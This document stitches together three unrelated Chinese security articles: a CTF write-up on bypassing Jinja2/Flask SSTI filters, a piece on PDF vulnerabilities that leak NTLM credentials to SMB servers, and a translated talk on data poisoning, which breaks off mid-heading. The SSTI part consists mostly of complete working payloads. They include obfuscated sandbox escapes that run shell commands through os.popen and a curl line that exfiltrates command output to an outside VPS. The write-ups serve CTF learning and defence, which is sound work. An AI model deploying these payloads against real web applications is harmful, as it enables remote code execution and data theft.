{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}
## 使用 JinJa 的过滤器进行Bypass
在 Flask JinJa
中，内只有很多过滤器可以使用，前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改，过滤器与变量之间用管道符号（|）隔开，括号中可以有可选参数，也可以没有参数，过滤器函数可以带括号也可以不带括号。可以使用管道符号（|）连接多个过滤器，一个过滤器的输出应用于下一个过滤器。
详情请看官方文档：<https://jinja.palletsprojects.com/en/master/templates/#builtin-filters>
以下是内置的所有的过滤器列表：
[`abs()`](https://jinja.palletsprojects.com/en/master/templates/#abs) |
[`float()`](https://jinja.palletsprojects.com/en/master/templates/#float) |
[`lower()`](https://jinja.palletsprojects.com/en/master/templates/#lower) |
[`round()`](https://jinja.palletsprojects.com/en/master/templates/#round) |
[`tojson()`](https://jinja.palletsprojects.com/en/master/templates/#tojson)
---|---|---|---|---
[`attr()`](https://jinja.palletsprojects.com/en/master/templates/#attr) |
[`forceescape()`](https://jinja.palletsprojects.com/en/master/templates/#forceescape)
| [`map()`](https://jinja.palletsprojects.com/en/master/templates/#map) |
[`safe()`](https://jinja.palletsprojects.com/en/master/templates/#safe) |
[`trim()`](https://jinja.palletsprojects.com/en/master/templates/#trim)
[`batch()`](https://jinja.palletsprojects.com/en/master/templates/#batch) |
[`format()`](https://jinja.palletsprojects.com/en/master/templates/#format) |
[`max()`](https://jinja.palletsprojects.com/en/master/templates/#max) |
[`select()`](https://jinja.palletsprojects.com/en/master/templates/#select) |
[`truncate()`](https://jinja.palletsprojects.com/en/master/templates/#truncate)
[`capitalize()`](https://jinja.palletsprojects.com/en/master/templates/#capitalize)
|
[`groupby()`](https://jinja.palletsprojects.com/en/master/templates/#groupby)
| [`min()`](https://jinja.palletsprojects.com/en/master/templates/#min) |
[`selectattr()`](https://jinja.palletsprojects.com/en/master/templates/#selectattr)
| [`unique()`](https://jinja.palletsprojects.com/en/master/templates/#unique)
[`center()`](https://jinja.palletsprojects.com/en/master/templates/#center) |
[`indent()`](https://jinja.palletsprojects.com/en/master/templates/#indent) |
[`pprint()`](https://jinja.palletsprojects.com/en/master/templates/#pprint) |
[`slice()`](https://jinja.palletsprojects.com/en/master/templates/#slice) |
[`upper()`](https://jinja.palletsprojects.com/en/master/templates/#upper)
[`default()`](https://jinja.palletsprojects.com/en/master/templates/#default)
| [`int()`](https://jinja.palletsprojects.com/en/master/templates/#int) |
[`random()`](https://jinja.palletsprojects.com/en/master/templates/#random) |
[`sort()`](https://jinja.palletsprojects.com/en/master/templates/#sort) |
[`urlencode()`](https://jinja.palletsprojects.com/en/master/templates/#urlencode)
[`dictsort()`](https://jinja.palletsprojects.com/en/master/templates/#dictsort)
| [`join()`](https://jinja.palletsprojects.com/en/master/templates/#join) |
[`reject()`](https://jinja.palletsprojects.com/en/master/templates/#reject) |
[`string()`](https://jinja.palletsprojects.com/en/master/templates/#string) |
[`urlize()`](https://jinja.palletsprojects.com/en/master/templates/#urlize)
[`escape()`](https://jinja.palletsprojects.com/en/master/templates/#escape) |
[`last()`](https://jinja.palletsprojects.com/en/master/templates/#last) |
[`rejectattr()`](https://jinja.palletsprojects.com/en/master/templates/#rejectattr)
|
[`striptags()`](https://jinja.palletsprojects.com/en/master/templates/#striptags)
|
[`wordcount()`](https://jinja.palletsprojects.com/en/master/templates/#wordcount)
[`filesizeformat()`](https://jinja.palletsprojects.com/en/master/templates/#filesizeformat)
| [`length()`](https://jinja.palletsprojects.com/en/master/templates/#length)
|
[`replace()`](https://jinja.palletsprojects.com/en/master/templates/#replace)
| [`sum()`](https://jinja.palletsprojects.com/en/master/templates/#sum) |
[`wordwrap()`](https://jinja.palletsprojects.com/en/master/templates/#wordwrap)
[`first()`](https://jinja.palletsprojects.com/en/master/templates/#first) |
[`list()`](https://jinja.palletsprojects.com/en/master/templates/#list) |
[`reverse()`](https://jinja.palletsprojects.com/en/master/templates/#reverse)
| [`title()`](https://jinja.palletsprojects.com/en/master/templates/#title) |
[`xmlattr()`](https://jinja.palletsprojects.com/en/master/templates/#xmlattr)
可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器，一步步的拼接出我们想要的字符、数字或字符串。
### 常用字符获取入口点
* 对于获取一般字符的方法有以下几种：
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
如下演示：
{% set org = ({ }|select()|string()) %}{{org}}
上上图所示，我们可以通过 `<generator object select_or_reject at 0x7fe339298fc0>`
字符串获取的字符有：尖号、字母、空格、下划线和数字。
{% set org = (self|string()) %}{{org}}
如上图所示，可以通过 `<TemplateReference None>` 字符串获取的字符有：尖号、字母和空格。
{% set org = self|string|urlencode %}{{org}}
如上图所示，可以获得的字符除了字母以外还有百分号，这一点比较重要，因为如果我们控制了百分号的话我们可以获取任意字符，这个在下面第二道题中会讲到。
{% set org = (app.__doc__|string) %}{{org}}
如上图所示，可获得到的字符更多了。
* 对于获取数字，除了当菜出现的那几种外我们还可以有以下几种方法：
{% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字
{% set point = self|float|string|min %} # 通过float过滤器获取点 .
有了数字0之后，我们便可以依次将其余的数字全部构造出来，原理就是加减乘除、平方等数学运算。
下面我们通过两道题目payload的构造过程来演示一下如何使用过滤器来Bypass。
### [2020 DASCTF 八月安恒月赛]ezflask
题目源码：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)
@app.route("/")
def index():
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if not request.args.get('name'):
return open(__file__).read()
elif safe_jinja(request.args.get('name')):
name = request.args.get('name')
else:
name = 'wendell'
template = '''
<div class="center-content">
<p>Hello, %s</p>
</div>
<!--flag in /flag-->
<!--python3.8-->
''' % (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
可以看到题目过滤的死死地，最关键是把attr也给过滤了的话，这就很麻烦了，但是我们还可以用过滤器进行绕过。
在存在ssti的地方执行如下payload：
{% set org = ({ }|select()|string()) %}{{org}}
# 或 {% set org = ({ }|select|string) %}{{org}}
可以看到，我们得到了一段字符串：`<generator object select_or_reject at
0x7f06771f4150>`，这段字符串中不仅存在字符，还存在空格、下划线，尖号和数字。也就是说，如果题目过滤了这些字符的话，我们便可以在
`<generator object select_or_reject at 0x7f06771f4150>`
这个字符串中取到我们想要的字符，从而绕过过滤。
然后我们在使用list()过滤器将字符串转化为列表：
{% set orglst = ({ }|select|string|list) %}{{orglst}}
如上图所示，反回了一个列表，列表中是 `<generator object select_or_reject at 0x7f06771f4150>`
这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示，我们取一个下划线 `_`：
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _
同理还能取到更多的字符：
{% set space = (({ }|select|string|list).pop(10)|string) %}{{spa}} # 空格
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _
{% set zero = (({ }|select|string|list).pop(38)|int) %}{{zero}} # 0
{% set seven = (({ }|select|string|list).pop(40)|int) %}{{seven}} # 7
......
这里，其实有了数字0之后，我们便可以依次将其余的数字全部构造出来，原理就是加减乘除、平方等数学运算，如下示例：
{% set zero = (({ }|select|string|list).pop(38)|int) %} # 0
{% set one = (zero**zero)|int %}{{one}} # 1
{%set two = (zero-one-one)|abs %} # 2
{%set three = (zero-one-one-one)|abs %} # 3
{% set five = (two*two*two)-one-one-one %} # 5
# {%set four = (one+three) %} 注意, 这样的加号的是不行的,不知道为什么,只能用减号配合abs取绝对值了
......
通过上述原理，我们可以依次获得构造payload所需的特殊字符与字符串：
# 首先构造出所需的数字:
{% set zero = (({ }|select|string|list).pop(38)|int) %} # 0
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串:
{% set xhx = (({ }|select|string|list).pop(24)|string) %} # _
{% set space = (({ }|select|string|list).pop(10)|string) %} # 空格
{% set point = ((app.__doc__|string|list).pop(26)|string) %} # .
{% set yin = ((app.__doc__|string|list).pop(195)|string) %} # 单引号 '
{% set left = ((app.__doc__|string|list).pop(189)|string) %} # 左括号 (
{% set right = ((app.__doc__|string|list).pop(200)|string) %} # 右括号 )
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set os = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx*2~but~xhx*2 %} # __builtins__
将上面构造的字符或字符串拼接起来构造出 `__import__('os').popen('cat /flag').read()`：
{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
如上图所示，成功构造出了 `__import__('os').popen('cat /flag').read()` 。
然后将上面构造的各种变量添加到SSTI万能payload里面就行了：
{% for f,v in whoami.__init__.__globals__.items() %} # globals
{% if f == bul %}
{% for a,b in v.items() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
所以最终的payload为：
{% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(195)|string) %}{% set left = ((app.__doc__|string|list).pop(189)|string) %}{% set right = ((app.__doc__|string|list).pop(200)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
如上图所示，成功执行命令并得到了flag。
### [2021 MAR & DASCTF]baby_flask
当时这道题没做出来，这里我们在本地使用vulnhub中的flask搭建环境进行复现：
在 `/getname?name=` 处存在SSTI。
F12查看源代码发现提示过滤了一下字符：
blacklist</br>
'.','[','\'','"','\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','０','１','２','３','４','５','６','７','８','９','0','1','2','3','4','5','6','7','8','9'</br>
过滤的死死地，甚至将所有的数字都过滤了。我们仍然可以使用通过滤器进行绕过，经过之前那道题的演示，我们可以很容易的构造出被过滤了的字符或字符串。
Payload构造过程如下：
# 首先构造出所需的数字:
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__
{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items
# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
## 过滤了request和class
这里除了用上面中括号或 `|attr()` 那几种方法外，我们还可以利用flask里面的session对象和config对象来逃逸这一姿势。
下面通过NCTF2018的两道flask题目来仔细讲解。
### [NCTF2018]flask真香
打开题目一看，是一个炫酷的demo演示，这种demo一般是没有啥东西好挖的。首先F12信息收集，发现Python版本是3.5.2，没有Web静态服务器。
随便点开第二个demo发现404了，这里注意到404界面是Flask提供的404界面，按照以往的经验，猜测这里存在SSTI注入。
先尝试简单的payload：
从这里可见，毫无疑问的存在SSTI漏洞了。
那么就来康康到底有没有WAF，有的话被过滤了哪些。经过一番测试，确实很多东西都被过滤了，而且是正则表达式直接匹配删去，无法嵌套绕过。不完整测试有以下：
config
class
mro
args
request
open
eval
builtins
import
从这里来看，似乎已经完全无法下手了。因为request和class都被过滤掉了。
卡在这里以后，最好的办法就是去查Flask官方文档了。从Flask官方文档里，找到了session对象，经过测试没有被过滤。更巧的是，session一定是一个dict对象，因此我们可以通过键的方法访问相应的类。
**由于键是一个字符串，因此可以通过字符串拼接绕过。**
python：
{{session['__cla'+'ss__']}}
访问到了类，我们就可以通过 `__bases__`
来获取基类的元组，带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的`object`基类了。
**（同样的，如果没有过滤config的话，我们还可以利用config来逃逸，方法与session的相同）**
payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}
有了对象基类，我们就可以通过访问 `__subclasses__` 方法再实例化去访问所有的子类。同样使用字符串拼接绕过WAF，这样就实现沙箱逃逸了。
payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']()}}
SSTI目的无非就是两个：文件读写、执行命令。因此我们核心应该放在file类和os类。而坑爹的是，Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。
我还是从os库入手，直接搜索“os”，找到了 `os._wrap_close`
类，同样使用dict键访问的方法。猜大致范围得到了索引序号，我这里序号是312，
payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312]}}
我们调用它的 `__init__` 函数将其实例化，然后用 `__globals__` 查看其全局变量。
payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__}}
眼又花了，但我们的目的很明显，就是要执行命令，于是直接搜索 “popen” 就可以了：
由于又是一个dict类型，我们调用的时候又可以使用字符串拼接，绕过open过滤。
后面顺理成章的，我们将命令字符串传入，实例化这个函数，然后直接调用read方法就可以了。
payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read()}}
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read()}}
### [NCTF2018]Flask PLUS
看到又是Flask，后面又加了PLUS，想必内容肯定没变，应该是过滤内容增加了。
打开题目康康，果然还是demo，随便造一个404，还是那个界面。
直接拿上一道题的payload去找所有的类，果然还是那么多。找到 `os._wrap_close` 类，打一发上次的payload，结果炸了：
也就是说，这里更新了过滤的内容，需要bypass。
我们来探测了一下，发现这次又加了一些过滤：
__init__
file
__dict__
__builtins__
__import__
getattr
os
完蛋了了，很多方法被过滤了之后，几乎无法访问到我们所需要的方法。
到这里，我们本地机测试一下，看看有哪些方法我们可以用的：
这里我们注意到了`__enter__`方法，查看其内容，发现其竟然有 `__globals__` 方法可用，也就是说这个`__enter__`方法与
`__init__` 方法一模一样。
这里摘抄下一段stack overflow的一段话
这里摘抄下一段stack overflow的一段话
> * `__init__` (allocation of the class)
> * `__enter__` (enter context)
> * `__exit__` (leaving context)
>
因此 `__enter__` 仅仅访问类的内容，但这已经可以达到我们所需要的目的了。
构造payload：
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('ls /').read()}}
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /Th1s_is__F1114g').read()}}
## 没有回显的 SSTI
当目标存在 SSTI 漏洞但是没有payload执行的回显时，我们可以使用 `os.popen` 和 `curl` 将执行结果外带出来。
例如下面这道题。进入题目后，会让你输入一个姓名然后将其输出：
经测试目标存在SSTI漏洞，但是过滤了 `{{` 和 `}}`，我们可以使用 `{%print(......)%}` 的形式来绕过。
{%print(''.__class__)%}
但是执行后却没有任何回显了，所以我们还得换一条路子。这里我们使用 `{% if ... %}1{% endif %}` 配合 `os.popen` 和
`curl` 外带数据的方法。
首先在自己vps上面开启监听：
然后执行如下payload在根目录里面寻找flag：
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.xxx.xxx.72:2333 -d `ls /|grep flag`') %}1{% endif %}
如下图所示，发现flag文件：
执行如下payload读取flag：
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://47.xxx.xxx.72:2333 -d `cat /flag_1s_Hera`') %}1{% endif %}
读取成功：
## 未完待续……
> 参考：
>
> [https://evi0s.com/2018/11/26/深入SSTI-> 从NCTF2018两道Flask看bypass新姿势](https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/)
>
> [https://misakikata.github.io/2020/04/python-> 沙箱逃逸与SSTI](https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#SSTI)
>
> <https://www.gem-love.com/ctf/2598.html> | 社区文章 |
# **概述**
从过往的PDF漏洞来看，在PDF漏洞中最受关注和欢迎的漏洞是任意代码执行漏洞，这类漏洞的危害也最大，通常可以在用户机器上执行任意的恶意代码。但是这类漏洞因为PDF沙箱的原因也有很大的局限，往往需要配合系统的提权漏洞一起使用才能进行完整的攻击过程，所以攻击成本较高在近几年来出现的完整攻击样本很少。
除了上述的漏洞外还有一类信息泄露的漏洞也被评为Critical
级别。该类漏洞可以在不需要任何用户交互的情况下，使用漏洞PDF文件窃取Windows的凭证。当用户打开恶意PDF文档时，它会自动联系攻击者控制的远程SMB服务器，导致SMB请求中NTLM详细信息通过SMB协议发送到攻击者的服务器，造成信息泄露。而攻击者可利用泄露的信息进行SMB中继攻击。
# **漏洞**
该类泄露NTLM等信息的漏洞中近两年来主要有三个漏洞CVE-2018-4993、CVE-2019-7089和CVE-2019-7815。这三个漏洞基本思路都一样，都是利用PDF文件中允许嵌入远程文档和文件的功能，只是嵌入的方式不一样。
## **CVE-2018-4993**
* PDF基本格式
PDF文件是一种编程形式的文档格式，它所有显示的内容，都是通过相应的操作符进行绘制。PDF基本显示单元包括文字、图片、矢量图和图片。PDF扩展单元包括水印、电子署名、注释、表单、多媒体和3D。PDF文件是由对象集合组成的，包括：boolean（布尔型），numberic（数值型），string（字符串型），name（名字型），array（数组型），dictionary（字典型），stream（数据流型），null（空类型）和indirect（间接型）。
其中字典对象是键值对的集合，和java中的map类似。key是唯一的，key的类型是name对象，value的类型是任意PDF支持的对象类型，当value为“null”，则表示该键值对不存在。字典对象以“<<”和“>>”作为对象的开始和结束。
字典对象是构建PDF文档的主要结构，通常它们都是一些有特定意义的属性组成的复杂对象集合，一般每个字典中都包含“Type”名字对象，该对象的值表示字典对象描述的具体对象，如“Page”，表示该字典是页对象，“Outline”，表示该字典对象是书签对象。
CVE-2018-4993漏洞就是利用PDF文件中允许嵌入远程文档的功能来实现信息泄漏，该漏洞利用关键字进行构造访问外部链接。主要的恶意代码如下。
在这里面的/F代表了加载文件的路径。在无补丁的环境下当用户打开恶意的PDF时会触发从远程共享自动加载另一个PDF文件，加载文件时不会有任何的提示和警告，用户很难发现异常。运行时恶意PDF会通过SMB协议将用户的NTLM，用户名，计算机名和域信息等传给攻击者。
虽然在运行时没有任何异常，但可以通过抓包来查看通过SMB回传的的数据。
## **CVE-2019-7089**
CVE-2019-7089漏洞和CVE-2018-4993漏洞的思路很相似都是利用远程加载文件的过程来泄漏信息，只是加载的方式不一样，CVE-2018-4993是利用了PDF中的关键字，而CVE-2019-7089利用了PDF中的XFA结构。
XFA（也称为XFA表单）代表XML Forms Architecture，这是由JetForm建议和开发的一系列专有
XML规范，用于增强Web表单的处理。它也可以用于以PDF 1.5规范开头的PDF文件。XFA规范被引用作为ISO 32000-1规范（PDF
1.7）应用必不可少的外部规范。XML Forms Architecture未标准化为ISO标准。
CVE-2019-7089漏洞就是利用了XFA结构中的xml-stylesheet来实现远程加载文件，在实际的过程中PDF会检测xml-stylesheet
元素中指定的任何http和https链接，并要求用户确认是否进行访问。但在这里可以使用UNC路径来绕过这个访问提示。
CVE-2019-7089漏洞的关键代码如下。
当运行恶意PDF的时候就会通过SMB协议把信息传回给攻击者，可以通过抓包来查看。
该漏洞在未打补丁的机器上直接运行就会传回信息，在打补丁的机器上会有提示，提示用户是否访问链接，如果用户未仔细看点允许访问那么计算机信息任然会被传回给攻击者，所以在打开未知的PDF时要引起注意。
## **SMB中继攻击**
当攻击者获取到用户的NTLM信息后，可进一步进行中继攻击。SMB中继攻击过程如下，B是一个SMB服务器，A来进行认证，B将A的认证信息转发到C上，如果A的凭证在C上认证成功就能进行下一步操作，如创建服务执行命令。如果在域中控制了某些常用服务，如：WEB
OA系统、文件共享等服务则可以尝试使用SMB中继攻击来引诱域管理员访问达到获取其他机器权限的目的。
# **最后**
该类信息泄露漏洞虽然没有任意代码执行漏洞危害大，在考虑到任意代码执行漏洞利用成本的情况下，该类信息泄露漏洞在攻击中任然具有一定的利用价值。从漏洞挖掘的角度看该类由加载远程文件引起的信息泄露漏洞任然还有存在。而漏洞CVE-2019-7089和CVE-2019-7815是最新版本才修复的漏洞，在将来的一段时间内任然具有很高的攻击价值。 | 社区文章 |
# 如何利用AI对抗“数据污染”和”数据中毒“？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 由中国计算机学会主办的全球人工智能与机器人大会（CCF-> GAIR）在深圳召开。在智能安全专题论坛，阿里巴巴集团安全部资深总监路全做了题为《对抗“数据中毒”——机器学习在阿里巴巴网络安全的应用》的演讲。对于安全界来说，其观点具有很好的实践意义。
我以智能汽车为例展开我的演讲，因为大家可能这两天听了很多关于智能汽车的比喻，它确实是一个非常典型的智能安全体。大家想一想，我们有几种方式可以去攻击智能汽车？
## 攻击智能汽车的方式
第一个方式是可以去改变这些交通标志，来利用智能算法本身的缺陷攻击智能汽车，这个就不展开讲了。
第二个方式是传统的方式，比如在电影《速度与激情8》，它能够控制那些平民的汽车，最后完成它的攻击行为，这是传统的黑客或者渗透入侵的例子。
第三个方式就是利用“数据中毒”的方式来攻击人工智能系统。
我刚才简单介绍了数据污染或者叫数据中毒，一提这个，大家脑海里浮现出来的可能有些非常直观的例子，比如说微软小冰的例子，它是一个人工智能对话系统，刚上线的时候因为用实时对话的数据进行训练的，所以你给他一些不好的对话，就会被污染，这是非常直观的。
还有一个直观的例子，SEO（搜索引擎优化）也可以当做一种利用数据去掌握或者控制搜索的推荐算法，因为它其实就是根据推荐算法去用新的数据，去让推荐算法或者说搜索算法把你排到他想要的位置。
再总结一下数据中毒和数据污染，其实我用这个图来说，无论是什么样的数据中毒和污染其实都是一个，如果左边是我们的目标，我们的统计模型或者现在所有机器学习的模型都是统计模型，其实有一个嘉宾分享得很好，他说所有的机器学习模型其实都是在做最小化你的目标函数，所有的机器学习模型都是在解一个最小化的问题，然后这个最小化问题是在你的训练样本上，所以你可以想象他最后做的是一张网，每张网是训练样本，但是不能保证样本和样本之间是没有空档的，所以用机器学习来做安全攻防的话，更像一张网，我要训练一张网去覆盖我的正确目标，但是数据中毒的目的就是让你训练的这张网跑偏。
## 机器流量防控体系
阿里安全除了在传统网络安全上建立安全的防御体系，防御黑客入侵和渗透，还要建立一张网是防止脏数据或者数据中毒、数据污染。
我们叫机器流量是万恶之源，机器流量最后会造成很多的数据中毒，比如爬虫爬取信息的例子，还有商家的信息泄露，还有在搜索上排序刷单，这些都是用机器流量来完成目的的，所以我们要防止数据中毒或者数据污染，根治机器流量。
阿里在机器流量防控体系的建立实际主要是由三个方面组成。
### 检测模块
